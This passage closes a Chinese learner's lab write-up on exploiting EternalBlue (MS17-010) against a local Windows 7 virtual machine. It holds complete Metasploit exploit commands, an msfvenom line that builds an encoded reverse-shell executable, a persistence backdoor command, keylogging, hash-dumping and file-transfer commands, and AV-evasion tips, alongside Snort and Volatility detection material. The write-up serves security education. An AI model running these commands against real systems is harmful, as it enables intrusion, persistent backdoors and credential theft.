- 定期进行漏洞扫描
6.5 监控告警
- 监控异常 SMB 流量(大量 445 端口连接)
- 监控 Meterpreter 常见行为(进程注入、内存加载)
七、实验总结
7.1 关键技能
✅ 使用 Nmap 进行端口扫描和服务识别
✅ 使用 Metasploit 框架进行漏洞检测和利用
✅ 理解反向 Shell 和 Meterpreter 的工作原理
✅ 掌握后渗透阶段的信息收集和权限维持
7.2 注意事项
⚠️ 本实验仅限在授权环境(本地虚拟机)中进行
⚠️ 未经授权对他人系统进行渗透测试是违法行为
⚠️ 永恒之蓝攻击成功率高但容易导致目标系统蓝屏崩溃
⚠️ 实际渗透测试中应评估攻击对业务的影响
7.3 实战与现实的差异
- 真实环境:大多数系统已打补丁,需要寻找其他漏洞
- 企业网络:有 IDS/IPS、WAF、EDR 等安全设备
- 法律风险:未授权攻击会面临刑事责任
- 攻击检测:蓝队会分析流量特征、进程行为、日志异常
7.4 我的实战心得
遇到的问题:
学到的知识:
感受:
- 之前看别人的渗透测试文章,觉得很复杂。自己实操后发现,有了 Metasploit 这样的工具,攻击其实不难(前提是环境配置正确)
- 但理解底层原理才是最重要的,不能只会用工具。比如理解了 Groom、缓冲区溢出、反向连接的原理后,遇到问题才知道怎么排查
- 真实环境肯定比实验环境复杂得多(有防火墙、IDS、杀软),需要更多的技巧(免杀、隧道、社会工程学)
八、扩展学习
8.1 其他 SMB 漏洞
-
MS08-067:Windows Server Service 远程代码执行
- 影响:Windows XP/2003/Vista/2008
- 2008 年的老漏洞,但很多老系统仍然存在
- Conficker 蠕虫利用此漏洞传播
-
CVE-2020-0796(SMBGhost):SMBv3 压缩漏洞
- 影响:Windows 10 1903/1909、Server 2019
- 2020 年 3 月爆发,微软紧急修复
- 利用 SMBv3 的压缩功能触发缓冲区溢出
8.2 Metasploit 进阶
Payload 类型:
- Single:独立 payload,一次性发送完整代码(如 windows/exec)
- Stager:分阶段 payload,先发送小型加载器,再下载完整代码(如 windows/meterpreter/reverse_tcp)
- Stage:第二阶段代码(完整的 Meterpreter)
为什么使用分阶段 Payload?
- 缓冲区空间有限,无法容纳完整的 Meterpreter(268KB)
- 先注入小型加载器(几百字节),通过网络下载完整代码
- 更灵活,可以动态选择不同的功能模块
Payload 编码和免杀:
# 生成免杀的可执行文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.9 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o evil.exe
- -e x86/shikata_ga_nai:使用 shikata_ga_nai 编码器(多态加密)
- -i 10:编码 10 次(增加检测难度)
- -f exe:输出格式为 exe 可执行文件
但现代杀软已经可以检测 Metasploit 的特征,需要更高级的免杀技术:
- 自定义 shellcode 加载器
- 使用其他 C2 框架(Cobalt Strike、Sliver)
- 内存加载(不写入磁盘)
持久化后门:
# 在 Meterpreter 中执行
run persistence -X -i 60 -p 4444 -r 192.168.43.9
- -X:系统启动时自动运行
- -i 60:每 60 秒尝试重新连接
- 会在注册表或启动文件夹创建后门
权限提升模块:
use post/windows/gather/enum_patches # 枚举已安装的补丁
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc # 本地提权
8.3 防御视角 (搜索所得,后面会进行实操)
如何检测永恒之蓝攻击?
1. 网络层检测(IDS/IPS)
- 监控 445 端口的异常流量
- 检测 SMB 数据包中的特征:
- 超长的 TRANSACTION2 请求
- 包含 shellcode 的特征字节序列
- 大量 Groom 分配请求
Snort 规则示例:
alert tcp any any -> any 445 (msg:"ETERNALBLUE SMB Exploit"; content:"|fe|SMB";
depth:5; content:"|00|"; distance:0; byte_test:1,>,200,0,relative;
sid:1000001; rev:1;)
2. 主机层检测(EDR)
- 监控 srv.sys 驱动的异常行为
- 检测内核内存中的可疑 shellcode
- 监控进程的异常网络连接(如 lsass.exe 突然连接外网)
3. 日志分析
- Windows 事件日志(Event ID 1000:应用程序崩溃)
- 如果 SMB 服务频繁崩溃,可能正在被攻击
- 检查防火墙日志,大量 445 端口扫描
蓝队应急响应流程:
Volatility 内存分析命令:
# 查看进程列表
volatility -f memory.raw –profile=Win7SP1x64 pslist
# 查看网络连接
volatility -f memory.raw –profile=Win7SP1x64 netscan
# 查找 Meterpreter 特征
volatility -f memory.raw –profile=Win7SP1x64 yarascan -Y "metsrv"
# 导出可疑进程
volatility -f memory.raw –profile=Win7SP1x64 procdump -p 1234 -D ./
附录:完整命令速查表
Kali 攻击机
# 1. 端口扫描
nmap -sV -p 445 192.168.43.10
# 2. 启动 Metasploit
msfconsole -q
# 3. 漏洞检测
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.43.10
run
# 4. 漏洞利用
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.43.10
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.43.9
exploit
# 5. Meterpreter 常用命令
sysinfo # 系统信息
getuid # 当前权限
ps # 进程列表
screenshot # 截屏
ipconfig # 网络配置
shell # 进入 cmd
keyscan_start # 键盘记录
upload /root/file.txt C:\\\\Users\\\\Public\\\\file.txt # 上传文件
download C:\\\\Users\\\\Yan\\\\Desktop\\\\file.txt /root/ # 下载文件
migrate 1234 # 进程迁移
hashdump # 导出密码哈希
exit # 退出
Windows 7 靶机
# 查看 IP
ipconfig
# 启动 SMB 服务
net start server
# 查看 SMB 服务状态
sc query server
# 查看监听端口
netstat -an | find "445"
# 查看当前用户
whoami
# 查看系统信息
systeminfo
# 禁用防火墙
netsh advfirewall set allprofiles state off
故障排查命令
# Kali 查看自己的 IP
ip a
# Kali 测试能否 ping 通 Win7
ping 192.168.43.10
# Kali 测试 445 端口连通性
telnet 192.168.43.10 445
# Win7 查看防火墙状态
netsh advfirewall show allprofiles
# Win7 查看 Server 服务是否运行
sc query server
免责声明:本文仅用于网络安全教育目的,所有实验均在授权的本地虚拟环境中进行。未经授权对他人计算机系统进行渗透测试属于违法行为,请遵守《中华人民共和国网络安全法》等相关法律法规。作为学习者,我深知网络安全技术是一把双刃剑,应该用于保护系统而非攻击他人。
致谢:感谢网上各位安全研究者的文章和教程,帮助我理解了永恒之蓝的原理。特别感谢 MSDN I Tell You 提供的原版镜像,以及 Metasploit 社区的开源贡献。




